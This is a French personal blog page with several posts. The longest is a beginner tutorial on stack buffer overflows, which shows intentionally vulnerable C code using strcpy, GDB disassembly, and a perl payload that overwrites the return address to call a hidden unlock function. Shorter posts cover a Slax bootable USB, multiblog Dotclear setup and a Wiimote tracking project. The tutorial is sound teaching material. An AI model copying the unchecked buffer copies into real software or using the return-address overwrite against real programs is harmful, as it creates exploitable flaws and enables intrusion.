SecureM

Aller au contenu | Aller au menu | Aller à la recherche

Les attaques par Buffer Overflow (Partie 1)

Attention, aujourd'hui je vous présente un type d'attaque très particulier, et très complexe : les Buffers Overflows !

Il s'agit de l'exploitation d'une faille dite "applicative", c'est-à-dire que la faille concerne des applications, des programmes qui sont exécutés par votre ordinateur (votre navigateur en est un, mais des tas de services systèmes sont aussi des programmes). C'est une faille malheureusement encore trop répandue, et qui permet très souvent de faire exécuter du code arbitraire par le programme vulnérable (de commander le programme en question). C'est aussi une faille très très complexe, qui nécessite une solide connaissance du fonctionnement interne du système, mais j'essaierai de décrire simplement les parties qui nous intéressent.

Le principe

Pas besoin d'être bilingue anglais pour comprendre l'idée (d'accord, faut savoir ce qu'est un buffer) : littéralement "dépassement de tampon", il s'agit de faire rentrer dans un "buffer" (une zone de stockage temporaire) plus de données que prévu, et de le faire déborder pour injecter des données ailleurs dans la mémoire. Si, si. Et c'est vachement efficace (quand ça marche).

Les prérequis : la structure de la mémoire

Un processeur utilise ce qu'on appelle des registres, qui ont pour rôle de stocker diverses informations relatives à l'exécution des programmes. Nous nous intéresserons ici surtout au registre EIP (Extended Instruction Pointer), qui est sans doute le plus important puisqu'il stocke l'adresse de l'instruction en cours d'exécution (un programme étant constitué d'instructions).

Lorsqu'un programme est lancé, le système réserve une zone de mémoire pour son exécution, dans lequel sont stockés 5 segments :

Segment TEXT

Au démarrage du programme, le registre EIP pointe au tout début de ce segment, puis une fois que la première instruction aura été exécutée il sera décalé pour pointer vers l'instruction suivante, qui sera exécutée.

Aussi appelé segment code, ce segment contient le programme en lui-même, au format binaire.
Il est évidemment impossible d'y écrire à l'intérieur.

Segments DATA & BSS

Les variables initialisées sont placées dans DATA, les autres dans BSS. Cette zone ne nous intéresse pas.

Cette partie de la mémoire contient les variables déclarées au début du programme, et a donc une taille fixe (il n'y a que sa valeur qui change quand une variable est modifiée).

Segment HEAP

Ce segment n'ayant pas de taille fixe, il peut grandir vers les adresses mémoire les plus grandes.

Le segment HEAP contient les variables "dynamiques" du programmes (qui n'ont pas de taille prédéfinie et sont définies au cours du programme).

Segment STACK

C'est dans ce segment que tout va se jouer !
Cette "pile" (un peu comme une pile d'assiette, le premier arrivé est le dernier sorti) a également une taille variable, et grandit vers les adresses les plus basses.

La "pile" (stack en anglais) est une sorte de bloc-note temporaire des appels de fonction, qui stocke des blocs (nommés stack frames) contenant les arguments de la fonction appelée, l'adresse de l'instruction à exécuter après la fin de la fonction (et donc la valeur future de l'EIP), l'ancienne adresse du haut de la pile (donc l'étage du dessous), et les variables locales de la fonction.


Le code vulnérable

Et voici maintenant le code source qui va nous permettre d'obtenir un programme vulnérable aux Buffers Overflows (écrit en C, c'est par ici si vous ne connaissez rien au C - attention c'est très long d'apprendre à coder) :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void enregistrer_nom(char *nom_saisi) {

   char buffer_nom[100];

   strcpy(buffer_nom,nom_saisi);

   printf("Votre nom, %s, a été enregistré avec succès\n",buffer_nom);

}

int main(int argc, char *argv[]) {

   if (argc != 2) {
     printf("Usage : %s < Votre nom >\n",argv[0]);
     exit(0);
   }

  enregistrer_nom(argv[1]);

  printf("Fin du programme...\n");
  return 0;
}
Ce programme, est destiné à enregistrer un nom (oui je sais, les développeurs ont toujours beaucoup d'imagination quand il faut écrire un programme-exemple...), et est vulnérable. Allez, vous avez 30 secondes pour trouver le problème !

...

C'est bon ? Got it ?
Eh oui, c'est évidemment la fonction strcpy() qui n'est pas correctement utilisée !
   char buffer_nom[100];
   strcpy(buffer_nom,nom_saisi);
On place le nom_saisi, chaîne de caractère de longueur indéterminée, dans le buffer_nom, de longueur 100. En règle générale, pas de problème, puisque les noms font moins de 100 caractères : (oui je sais, là j'ai un peu plus d'imagination)
[mickael@ArchCyberTux build]$ ./stack-based_overflow
Usage : ./stack-based_overflow < Votre nom >
[mickael@ArchCyberTux build]$ ./stack-based_overflow "Léopoldichon Kroustillon"
Votre nom, Léopoldichon Kroustillon, a été enregistré avec succès
Fin du programme...

Le problème, c'est si le nom fait plus de 100 caractères :
[mickael@ArchCyberTux build]$ ./stack-based_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, a été enregistré avec succès
Erreur de segmentation

On a le droit à une jolie erreur de segmentation ! (et vous avez remarqué que le message "Fin du programme..." ne s'est donc pas affiché)

La réécriture de la pile

Souvenez-vous de la constitution du segment STACK, on a dans l'ordre : les arguments, le Return Address (adresse de retour qui sera prise par l'EIP à la fin de la fonction), puis d'autres trucs moins intéressants, puis les variables locales, donc ici le buffer_nom qui reçoit la valeur du nom de l'utilisateur.

L'image de gauche montre la structure de la pile. Le haut de la pile correspond aux adresses les plus basses, et le bas aux plus hautes. Les données sont copiées dans en partant des adresses les plus basses vers les plus hautes (donc de haut en bas sur l'image et dans la pile).

A droite, voici la pile après copie du nom dans le buffer_nom : le processeur a copié dans la partie variables locales (buffer_nom est une variable locale, définie à l'intérieur de la fonction) ce qu'on lui a demandé, c'est-à-dire le nom récupéré. Mais comme il ne sait pas que le buffer ne fait que 100 caractères (en fait, c'est la fonction strcpy qui ne fait pas de vérification), il va continuer de copier jusqu'à la fin du nom, et va donc déborder (vers le bas puisque les données sont copiées de haut en bas) dans d'autres cases mémoires... dont le RA (Return Address) qui contient l'adresse de la prochaine instruction après la fin de la fonction. Et justement, à la fin de la fonction, EIP va prendre la valeur de RA qui ne correspond sûrement pas à une instruction valide... bim. Erreur de segmentation.

Et si on observe le crash du programme à travers le logiciel GDB (qui permet d'analyser finement les plantages), on observe :

(gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /home/mickael/Programmation/BufferOverflowExploit/build/stack-based_overflow AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Votre nom, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, a été enregistré avec succès

Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in ?? ()

On voit que le processeur est allé à l'adresse 0x0000414141414141 et n'y a pas trouvé d'instruction valide... Et vous savez quoi ? Le caractère "A", en hexadécimal, s'écrit 0x41. On a donc réussi à placer des "A" dans le RA, et à détourner ce qu'on appelle le "flux d'exécution" du programme !
(bon, ok, là on l'a détourné mais il est pas allé loin...)

Utilisation basique d'un buffer overflow :

Vous l'aurez sûrement compris, le principe d'un Buffer Overflow est de réécrire l'adresse de retour ! Mais pour le détourner vers où ?

Pour notre exemple on va simplement le rediriger vers une autre fonction du programme !

Allez, un autre exemple bidon :

#include <stdio.h>
#include <stdlib.h>

#include <string.h>

// On définit le mot de passe secret qui déverrouillera l'accès
#define PASSE_SECRET "o$12kIjaZ"

// Déverrouillage de l'accès à l'entrepôt d'armes
void deverrouillage(){
printf("Bienvenue M. Chef !\n\n");
printf("Déverrouillage de la porte... ");
/* Oui bon... je vais pas faire une fonction

pour ouvrir une porte non plus ! */

printf(" porte déverrouillée !\n\n");
}

// Vérification du mot de passe
void verifier_passe(char *passe_saisi) {

char buffer_nom[100];

strcpy(buffer_nom,passe_saisi);

if(strcmp(passe_saisi,PASSE_SECRET) == 0) // Si le passe est correct

deverrouillage(); // On déverrouille
else
printf("Mauvais mot de passe !\n"); // ...ou pas.
}

int main(int argc, char *argv[]) {

if (argc != 2) {
printf("Usage : %s < Mot de passe supersecret >\n",argv[0]);
exit(0);
}

// Vérification du passe, et déverouillage si le passe est valide

verifier_passe(argv[1]);

printf("Fin du programme...\n");
return 0;
}

Ce programme se contente de demander un mot de passe pour déverrouiller l'entrepôt aux armes de la CIA (ça reste un exemple ^^). Nous, on est 007. Et on connaît pas le mot de passe.

[mickael@ArchCyberTux BufferOverflowExploit]$ ./bof2 CoinCoin?
Mauvais mot de passe !
Fin du programme...

Mais comme on sait que le programmeur n'a pas fait attention, on va utiliser un Buffer Overflow pour ouvrir cette satanée porte !

Bon, allez, on utilise notre super téléphone-à-tout-faire pour lancer le programme dans GDB :

Comment ça ? En plus vous voulez que James Bond vous explique ce qu'il fait ? Bon, ok... La commande "disas" de GDB permet de voir le code assembleur (plus ou moins) et notamment les adresses des instructions. Par exemple, on peut voir qu'il y a un appel à la fonction "verifier_passe". Hum ? allons voir cette fonction.
(gdb) disas main
Dump of assembler code for function main:
   0x000000000040066c <+0>:     push   %rbp
   0x000000000040066d <+1>:     mov    %rsp,%rbp
   0x0000000000400670 <+4>:     sub    $0x10,%rsp
   0x0000000000400674 <+8>:     mov    %edi,-0x4(%rbp)
   0x0000000000400677 <+11>:    mov    %rsi,-0x10(%rbp)
   0x000000000040067b <+15>:    cmpl   $0x2,-0x4(%rbp)
   0x000000000040067f <+19>:    je     0x4006a7 <main+59>
   0x0000000000400681 <+21>:    mov    -0x10(%rbp),%rax
   0x0000000000400685 <+25>:    mov    (%rax),%rdx
   0x0000000000400688 <+28>:    mov    $0x400838,%eax
   0x000000000040068d <+33>:    mov    %rdx,%rsi
   0x0000000000400690 <+36>:    mov    %rax,%rdi
   0x0000000000400693 <+39>:    mov    $0x0,%eax
   0x0000000000400698 <+44>:    callq  0x4004b0 <printf@plt>
   0x000000000040069d <+49>:    mov    $0x0,%edi
   0x00000000004006a2 <+54>:    callq  0x4004d0 <exit@plt>
   0x00000000004006a7 <+59>:    mov    -0x10(%rbp),%rax
   0x00000000004006ab <+63>:    add    $0x8,%rax
   0x00000000004006af <+67>:    mov    (%rax),%rax
   0x00000000004006b2 <+70>:    mov    %rax,%rdi
   0x00000000004006b5 <+73>:    callq  0x400620 <verifier_passe>
   0x00000000004006ba <+78>:    mov    $0x400861,%edi
   0x00000000004006bf <+83>:    callq  0x4004c0 <puts@plt>
   0x00000000004006c4 <+88>:    mov    $0x0,%eax
   0x00000000004006c9 <+93>:    leaveq
   0x00000000004006ca <+94>:    retq  
End of assembler dump.

(gdb) disas verifier_passe
Dump of assembler code for function verifier_passe:
   0x0000000000400620 <+0>:     push   %rbp
   0x0000000000400621 <+1>:     mov    %rsp,%rbp
   0x0000000000400624 <+4>:     add    $0xffffffffffffff80,%rsp
   0x0000000000400628 <+8>:     mov    %rdi,-0x78(%rbp)
   0x000000000040062c <+12>:    mov    -0x78(%rbp),%rdx
   0x0000000000400630 <+16>:    lea    -0x70(%rbp),%rax
   0x0000000000400634 <+20>:    mov    %rdx,%rsi
   0x0000000000400637 <+23>:    mov    %rax,%rdi
   0x000000000040063a <+26>:    callq  0x400500 <strcpy@plt>
   0x000000000040063f <+31>:    mov    -0x78(%rbp),%rax
   0x0000000000400643 <+35>:    mov    $0x400812,%esi
   0x0000000000400648 <+40>:    mov    %rax,%rdi
   0x000000000040064b <+43>:    callq  0x4004f0 <strcmp@plt>
   0x0000000000400650 <+48>:    test   %eax,%eax
   0x0000000000400652 <+50>:    jne    0x400660 <verifier_passe+64>
   0x0000000000400654 <+52>:    mov    $0x0,%eax
   0x0000000000400659 <+57>:    callq  0x4005f4 <deverrouillage>
   0x000000000040065e <+62>:    jmp    0x40066a <verifier_passe+74>
   0x0000000000400660 <+64>:    mov    $0x40081c,%edi
   0x0000000000400665 <+69>:    callq  0x4004c0 <puts@plt>
   0x000000000040066a <+74>:    leaveq
   0x000000000040066b <+75>:    retq  
End of assembler dump.

Ah bah tiens, ça alors ! Une fonction de déverrouillage, à l'adresse 0x0000000000400659 ! Mais elle n'est pas appelée à moins d'avoir le mot de passe...

Allez, et si on essayait de placer cette fameuse adresse dans le RA ? Hein ? Comme ça, à la fin de la fonction, cette fonction de déverrouillage serait appelée !

(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/mickael/Programmation/BufferOverflowExploit/bof2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Mauvais mot de passe !

Program received signal SIGSEGV, Segmentation fault.
0x0000000000004141 in ?? ()

Bon, on a l'adresse  0x004141 et on cherche l'adresse 0x400659. Avec un A en plus ?

Program received signal SIGSEGV, Segmentation fault.
0x0000000000414141 in ?? ()

Voilà, on a le bon nombre d'octets, on n'a plus qu'à remplacer les 3 derniers A par la valeur en hexadécimal de l'adresse (attention comme, notre système est en little endian, il faut inverser l'ordre des octets).

(gdb) r `perl -e 'print "A" x 120 . "\x59\x06\x40"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/mickael/Programmation/BufferOverflowExploit/bof2 `perl -e 'print "A" x 120 . "\x59\x06\x40"'`
Mauvais mot de passe !
Bienvenue M. Chef !

Déverrouillage de la porte...  porte déverrouillée !


Program received signal SIGBUS, Bus error.
0x000000000040066a in verifier_passe ()

Et voilà !! (ne vous extasiez pas, c'est normal pour James Bond...)

Quelques remarques : j'ai utilisé une commande Perl pour obtenir les caractères correspondants aux valeurs hexadécimales. Et puis, le programme a aussi planté puisque de toutes manières, on lui avait supprimé des bouts de mémoire (remplacés pour être exact).

Et voilà pour cette première partie !

Prochaines parties :

Pour cet article, nous avons vu comment appeler n'importe quelle fonction de manière arbitraire, à condition que le programme soit vulnérable (présence d'une fonction strcpy par exemple). Mais nous ne pourront jamais faire que ce qui a été écrit dans le programme (James Bond n'aurait pas pu jouer à Pacman parce qu'aucune fonction pour y jouer n'était présente dans le programme), et ça limite très rapidement le champ d'action.

Nous allons donc voir dans la prochaine partie le moyen d'exécuter notre propre code dans le programme, au moyen notamment de ShellCodes à injecter. On s'intéressera aussi au moyen d'exécuter ce code avec des droits plus élevés si le programme répond à quelques conditions :)

Slax : le nouveau bureau de poche !

Savez-vous qu'il est possible de faire démarrer un ordinateur sans disque dur, en disposant des mêmes fonctionnalités que n'importe quel ordinateur de bureau ?

Booter sans disque dur

Eh oui, c'est possible, il suffit de faire démarrer ("booter", de l'anglais to boot, démarrer) votre ordinateur sur un autre périphérique : un CD, le réseau, voire une clé USB (y compris les MP3 donc)... Ce choix ce fait au tout début, lors du chargement du bios - c'est la base du système, qui gère le lancement d'un système d'exploitation (OS) - en appuyant sur une touche spéciale (pour moi, F8, "Multiboot selection"). C'est ainsi que certains ordinateurs (parfois dans les grands réseaux informatiques comme les écoles) peuvent démarrer automatiquement en réseau et sans disque dur.

Plus généralement, on démarre un ordinateur avec un CD : c'est le cas des CDs de restauration ou d'installation de nombreux systèmes d'exploitation, tels Windows mais aussi la majorité des distributions Linux. Si un CD de restauration ne propose pas un système utilisable (juste une restauration), il existe des "LiveCD" qui eux chargent un OS complet (tout comme un disque dur) : on peut par exemple essayer une distribution Linux avant de décider de l'installer, ou par exemple pour réparer quelque chose sur le disque dur (notamment un système Windows vérolé : il suffit alors de passer un coup d'antivirus depuis Linux).

Mais l'inconvénient du LiveCD, c'est qu'il n'est pas possible d'y écrire dessus pour enregistrer des paramètres personnalisés, des mises à jours, des documents personnels, etc... On se retrouve donc avec un système figé une fois qu'il a été gravé (on peut toutefois le modifier autant qu'on veut avant).

Une clé USB "bootable"

Voici donc l'avantage de la clé USB : on peut lire et écrire des données, et l'espace proposé est suffisamment grand :)

Mais encore faut-il réussir à créer un système "persistant", c'est à dire qui enregistre effectivement les modifications, parce que pouvoir le faire c'est bien, mais le faire c'est encore mieux... Pour ma première clé USB bootable, j'avais utilisé la distribution KDE-Four-Life basée sur OpenSuse et avec une version de KDE très récente (et en 64 bits s'il vous plaît !). J'avais pour cela téléchargé l'image disque au format ISO, qui correspond à l'ensemble des fichiers du système compressé en un seul fichier (c'est plus ou moins ça), et je l'avais simplement appliqué à la clé USB. Du coup, ma clé de 1Go a été rétrécie à 700 Mo (taille du fichier ISO, taille usuelle disponible sur les CDs) et je ne pouvais plus accéder aux 300Mo restants. Et ma clé était figée.

C'était déjà quelque chose de génial, puisque j'avais un système Linux parfaitement fonctionnel dans ma poche, à partir duquel je pouvais vraiment tout faire (à condition d'avoir un ordinateur 64 bits sous la main, ce qui était le cas presque partout). Et en prime, je pouvais bien sûr installer le système sur le disque dur...

Résumé des avantages :

  • Le système se lance trèèèès rapidement (~40 secondes)
  • Une taille vraiment réduite : maximum 700Mo (faut-il rappeler qu'un Windows prend une 20aine de Go pour s'installer ?)
  • La même chose qu'un LiveCD mais en plus petit et ne peut pas s'abimer (enfin, moins qu'un CD, parce que si tu sautes sur ta clé elle apprécie pas - un CD non plus)
  • Un système complet utilisable de partout, et bien sûr je peux installer les logiciels dont j'ai besoin super rapidement :)
  • Bref, c'est super :)

La méthode classique pour charger un ISO

Pour ma part, j'ai choisi d'utiliser UNetBootIn (oui, c'est moche comme site) basé sur Qt et disponible sur de nombreuses plate-formes.
Il permet d'envoyer un fichier ISO déjà téléchargé, et même de récupérer la majorité des distributions existantes (voir photo ci-contre).

A partir de là, il est facile d'installer n'importe quelle distribution sur n'importe quelle clé USB, lecteur MP3, disque dur externe... Mais point de mode persistant, du moins automatique.

En cherchant un peu, j'avais lu quelque part qu'il était possible de créer une partition pour stocker des fichiers, et pourquoi pas de monter cette partition dans /home/ par exemple (sous Linux, ce dossier contient le dossier personnel de chaque utilisateur, y compris tous ses fichiers de configuration). Et en modifiant à l'avance les fichiers de configuration système (imprimante, réseau, etc... situés dans /etc) on peut avoir un vrai bureau nomade, c'est-à-dire apte à être utilisé tous les jours...

"Slax - votre système d'exploitation de poche"

Ce n'est que récemment que j'ai découvert Slax : en plus de proposer un système Linux léger (moins de 200Mo !), permet de charger des logiciels sur la clé USB, et surtout... simplifie l'activation d'un mode permanent !
Alors tant qu'à faire (vu que j'ai pas envie de réviser le bac, pas encore) je me suis remis à essayer d'obtenir une clé permanente...

Accéder au site de Slax

On peut télécharger directement la version USB de Slax (200Mo) , ou bien la "customizer" un peu en rajoutant des logiciels :D

Slax est un système d'exploitation utilisant KDE3.5, dont voici quelques caractéristiques :

Slax 6 est portable

Grâce au système de fichiers AUFS, la partie read-only de Slax (données système et modules) est recouverte par un système de fichiers accessible en écriture. Vous pouvez modifier toutes les parties du système de fichiers de Slax sans aucune restriction. Vos modifications sur les parties read-only sont copiées de façon transparente sur les branches accessibles en écriture et stockées en mémoire ou dans un répertoire persistant de votre disque ou d'un lecteur flash. Slax est conçu pour détecter automatiquement s'il fonctionne depuis un média accessible en écriture, et si c'est le cas, Slax y sauvegardera automatiquement toutes vos modifications.

Avec Slax, vous n'êtes pas limité à votre répertoire 'home' mais la totalité du répertoire 'root' est accessible en lecture/écriture. C'est pour cela que nous parlons de paramêtrages persistents vis-à-vis des autres distributions qui n'affectent que l'espace utilisateur. Vous pouvez modifier '/bin/bash' et de la même manière '~/kderc'.

 

Slax 6 est plein de fonctionnalités

Système XWindow, bureau KDE avec K-Office, navigation Internet, e-Mail, messagerie instantanée, gravure de CD/DVD et rippage, encodage Audio et Vidéo, lecteurs Multimédia, tout et encore plus est inclu dans les seulement 190MB de Slax OS.

 Avec bien sûr, un support de nombreux langages... Quand je vous disais que c'était génial :)

Le module de personnalisation

Vous pouvez, soit au moment du téléchargement de votre Slax, soit pendant son exécution, rajouter ou supprimer des "modules" Slax : j'ai par exemple rajouté un module Skype, un autre pour pouvoir utiliser le Gimp, ou encore un autre pour avoir Nmap (logiciel de scan de ports très utilisé en sécurité informatique)...

Ces modules ont été allégés, et modifiés pour utiliser les ressources des librairies Slax déjà présentes : on obtient donc des logiciels plus légers (n'oublions pas que le système est compressé pour tenir sur la clé) et donc plus rapides et plus performants lors de la décompression de l'exécution.

Vous pouvez faire votre choix parmi une très grande liste de logiciels...

Installer Slax

Après avoir personnalisé votre Slax, il vous suffit de télécharger l'archive au format TAR (c'est important car l'ISO ne sert que pour les LiveCD).

Il faut ensuite écrire le MBR (Master Boot Record : c'est la zone du disque qui indique au bios ce qu'il faut lancer pour démarrer sur ce périphérique) pour rendre la clé USB bootable, c'est à dire pour pouvoir démarrer dessus quand on le voudra. Pour cela, il faut lancer (à condition d'être en partition FAT32, le cas de la majorité des clés USB) /boot/bootinst.sh sous Linux ou pour les Windoziens, bootinst.bat dans le dossier boot. Et il ne faut pas oublier de l'exécuter en tant qu'administrateur, sinon vous serez insulté poliment :

Setting up MBR on /dev/sdb...
Fatal: Cannot open /dev/sdb: Permission denied

Bon, en root ça marche mieux (root est le "super-utilisateur" sous Linux, l'administrateur général) :

Setting up MBR on /dev/sdb...
The Master Boot Record of  /dev/sdb  has been updated.
Activating partition /dev/sdb1...
No partition table modifications are needed.
Updating MBR on /dev/sdb...
Setting up boot record for /dev/sdb1...
Disk /dev/sdb1 should be bootable now. Installation finished.

Bon, maintenant, on redémarre, et... on s'émerveille !

Ou pas. Ben oui, forcément, sur 200Mo y'à pas de support matériel, j'ai donc du redémarrer plusieurs fois, dans un premier temps pour installer le pilote pour ma carte ATI, puis pour la gestion du wpa... A partir de là on peut directement télécharger les modules depuis Slax, plus besoin de redémarrer :)

Plusieurs blogs dans le même dossier : la solution

Devant mon nombre grandissant d'idées d'articles concernant le projet WiiInteract, je me suis décidé à lui consacrer un nouveau blog. Et plutôt que de tout recommencer, Dotclear (qui propulse ce blog) nous propose de créer plusieurs blogs dans la même installation.

Dans l'interface d'administration, hop hop hop, nouveau blog, hop hop hop... Je renseigne comme adresse un sous domaine du site : wiiinteract.securem.eu. Bon, c'est bien zoli, mais comment on y accède maintenant ?

Direction la documentation donc, qui de "multiblog" nous renvoie à une page "installation propre"... Heu ouais ?
En cherchant un peu, je me rend compte qu'il demande de créer un dossier par blog, et je comprends mieux tous les problèmes qu'il peut y avoir pour mettre les thèmes, médias, fichiers publics en commun.

Un dossier par blog ? Pas envie.

D'une part, parce que le blog SecureM se situe déjà à la racine du site, et de deux parce que je n'ai pas envie de modifier plusieurs fichiers pour rediriger les bons trucs. Un vrai fainéant.

Alors la question se pose : comment faire cohabiter deux blogs dans le même répertoire pour qu'ils utilisent exactement le même environnement ?

Ceux qui ont déjà installé Dotclear savent que le seul fichier PHP dans le dossier est index.php, et qu'il se charge de faire les inclusions nécessaires en fonction... de l'ID du blog. Ah ben tiens, sympa ça !
Voici le fichier index.php de base :

<?php
# -- BEGIN LICENSE BLOCK ----------------------------------
#

# This file is part of Dotclear 2.
#
# Copyright (c) 2003-2010 Olivier Meunier and contributors
# Licensed under the GPL version 2.0 license.
# See LICENSE file or
# http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
#
# -- END LICENSE BLOCK ------------------------------------

if (isset($_SERVER['DC_BLOG_ID'])) {
define('DC_BLOG_ID',$_SERVER['DC_BLOG_ID']);

} if (isset($_SERVER['REDIRECT_DC_BLOG_ID'])) {
define('DC_BLOG_ID',$_SERVER['REDIRECT_DC_BLOG_ID']);

}else {
define('DC_BLOG_ID','default');

}

require dirname(__FILE__).'/inc/public/prepend.php';
?>
On remarque que à moins que le blog ne soit redirigé, le "BLOD_ID" est default, c'est-à-dire pour moi SecureM.
Tout ce qu'il suffit de faire, c'est de modifier le code pour fournir le BLOG_ID correspondant au nom de domaine, et pour moi ça donne donc :
else {
# Define your blog here
if($_SERVER['SERVER_NAME']=='wiiinteract.securem.eu')
define('DC_BLOG_ID','WiiInteract');
else
define('DC_BLOG_ID','default');
}
Et voilà, si le nom du serveur appelant la page est wiiinteract.securem.eu, on envoie le blog du projet à la place :)

Et vous pouvez donc désormais aller visiter le blog consacré au projet WiiInteractions !
Maintenant, y'à plus qu'à reconfigurer le thème, les paramètres personnalisés, l'apparence du blog, les paramètres de Google Analytics et Adsense...

WiiInteract : triangulation et "hard-syncing" pour les Wiimotes

Vous connaissez mon projet WiiInteract de FingerTracking par Wiimote. Je me suis remis à travailler sur le projet depuis peu, en développant/améliorant certaines fonctionnalités :

Triangulation

A la base, j'utilise une Wiimote au dessus de l'écran qui fournit la position (X,Y) du curseur, ainsi qu'une seconde Wiimote sur le côté ou en dessous qui sers à détecter le clic (dès qu'on passe au dessus, on "clique").
Le problème, c'est que la Wiimote principale (celle au dessus de l'écran) ne fournit que des coordonnées dans le plan (et non dans l'espace) : si la coordonnée Z (distance doigt-écran) ne varie pas, on reste dans un plan, et la Wiimote fournit des données précises, et c'est comme ça qu'on peut déplacer le pointeur avec précision.
Par contre, quand on veut cliquer, la coordonnée Z (la "cote") varie et on ne reste plus dans le même plan. L'image à droite montre ce qui se passe : alors que la Wiimote secondaire enregistre bien le clic, la Wiimote principale enregistre également en déplacement dans le plan, et on clique souvent à côté...
Explication de l'image : tant qu'on reste dans le plan (déplacement en vert, points 1 et 2) la Wiimote n'a aucun problème à détecter la position. Par contre, dès que la cote varie (déplacement en rouge) sans pour autant que les coordonnées X ou Y ne varient, la Wiimote croira que si puisqu'elle ne tient pas compte de la cote du point : le point 3 paraîtra se décaler quand il avancera, alors que non.

Le principe de triangulation permet, à partir de deux Wiimotes, d'obtenir la position complète du point dans l'espace (X,Y,Z), tout simplement en disposant les deux Wiimotes de part à d'autre de l'écran, et en appliquant quelques petites formules de mathématiques (trigonométrie)...
Le système de triangulation semble fonctionner correctement, et il sera bientôt intégré au programme d'émulation de curseur qui passera donc en v2.0 (peut-être que si je recode aussi le système de calibrage ça fera une version 2.5 :D ).
Le problème le plus important en triangulation est la position des deux Wiimotes, par rapport à l'écran, mais aussi l'angle entre les deux Wiimotes (elles ne sont pas parallèles). Et promis, je vous fais un petit schéma pour la prochaine fois ;)

Le hard-syncing

Le "hard-syncing" ou synchronisation matérielle, permet la synchronisation directe entre la Wiimote et son périphérique associé (Wii habituellement, ordinateur pour moi).
A chaque lancement du programme, je suis obligé de "synchroniser" la/les Wiimote(s) avec l'ordinateur pour que le programme puisse communiquer avec elle, en appuyant simultanément sur les boutons 1 et 2... ce qui est à la longue assez fastidieux et ennuyeux (pour ne pas dire autre chose ^^).
Ca, c'est une synchronisation logicielle, mais vous n'en faites qu'une seule au tout début pour jouer à la Wii... les jours suivants, il vous suffit d'appuyer sur une touche pour que la Wiimote se réveille et se connecte. C'est ce comportement que je recherche et qui se nomme synchronisation matérielle : j'imagine que la Wiimote stocke l'adresse MAC (adresse physique du périphérique Bluetooth de l'ordinateur ou de la Wii) directement en mémoire, et que dès qu'on la réveille elle s'y connecte. Malheureusement, comme vous le savez peut-être, Nitendo n'a pas publié le fonctionnement du protocole de communication Wii / Wiimote, et tout ce qu'on peut faire actuellement avec l'ordinateur, on le doit à une poignée de "hackers" qui ne sont pas je le rappelle, des pirates informatiques.
Vous pouvez aller voir http://wiki.wiimoteproject.com/Connecting pour quelques information supplémentaires sur les communications de la Wiimote.